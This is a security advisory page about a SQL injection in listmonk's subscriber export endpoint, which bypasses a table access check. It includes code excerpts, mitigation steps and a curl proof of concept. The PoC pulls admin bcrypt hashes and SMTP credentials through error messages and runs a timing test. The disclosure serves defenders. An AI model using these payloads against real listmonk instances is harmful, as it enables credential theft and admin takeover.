NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

listmonk: SQL Injection in `/api/subscribers/export` bypasses table access control, leaking admin password hashes and SMTP credentialsGHSA-xgjr-7j9q-2h4r

MEDIUMFix: knadh/listmonk@c0a6525

GHSA-xgjr-7j9q-2h4r is a medium-severity (CVSS 5.5) SQL Injection vulnerability in github.com/knadh/listmonk. A fix is available for github.com/knadh/listmonk — see the affected versions and patch details below.

Also known asCVE-2026-62361
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xgjr-7j9q-2h4r.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs22th percentile — riskier than 22% of all scored CVEsHighest risk
0.00%0.31%0.61%0.92%0.2%0.4%0.4%0.3%0.3%Aug 26Oct 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/knadh/listmonk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.


Details

The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.

internal/core/subscribers.go — protected path (regular query):

// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
    return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
        fmt.Sprintf("Error preparing subscriber query: %v", err))
}

internal/core/subscribers.go — vulnerable path (export):

// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt)  // executes directly without restriction

queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:

SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...

Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.


PoC

Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.

Step 1 — Confirm the bypass (blocked on query, open on export):

# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}

# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error

Step 2 — Error-based exfiltration of admin password hash:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"

Response:

{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}

Step 3 — Error-based exfiltration of SMTP credentials:

curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
  -H "Cookie: session=SESSION_TOKEN"

Response:

{
  "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}

Step 4 — Time-based blind confirmation:

time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
  -H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution

Impact

This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:

  • Read bcrypt password hashes of all admin accounts (including Super Admin)
  • Extract SMTP credentials, API keys, and all values stored in the settings table
  • Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
  • Execute data-modifying SQL via PostgreSQL CTEs (write impact)

Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/knadh/listmonkall versions1.1.1-0.20260619102436-c0a6525009a6go get github.com/knadh/listmonk@v1.1.1-0.20260619102436-c0a6525009a6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/knadh/listmonk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/knadh/listmonk to 1.1.1-0.20260619102436-c0a6525009a6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xgjr-7j9q-2h4r is resolved across your whole dependency graph.

  3. Workarounds

    Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.

Frequently Asked Questions

### Summary A SQL injection vulnerability in `GET /api/subscribers/export` allows an authenticated user with the `subscribers:sql_query` permission to bypass the table access control that exists on the regular query endpoint (`GET /api/subscribers`) and read arbitrary tables from the database — including `users` (bcrypt password hashes) and `settings` (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: `subscribers:sql_query` → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Adm
O3 Security · Impact-Aware SCA

Is GHSA-xgjr-7j9q-2h4r in your dependencies?

Find it across Go, including transitive dependencies.

listmonk: SQL Injection in `/api/subscribers/export`…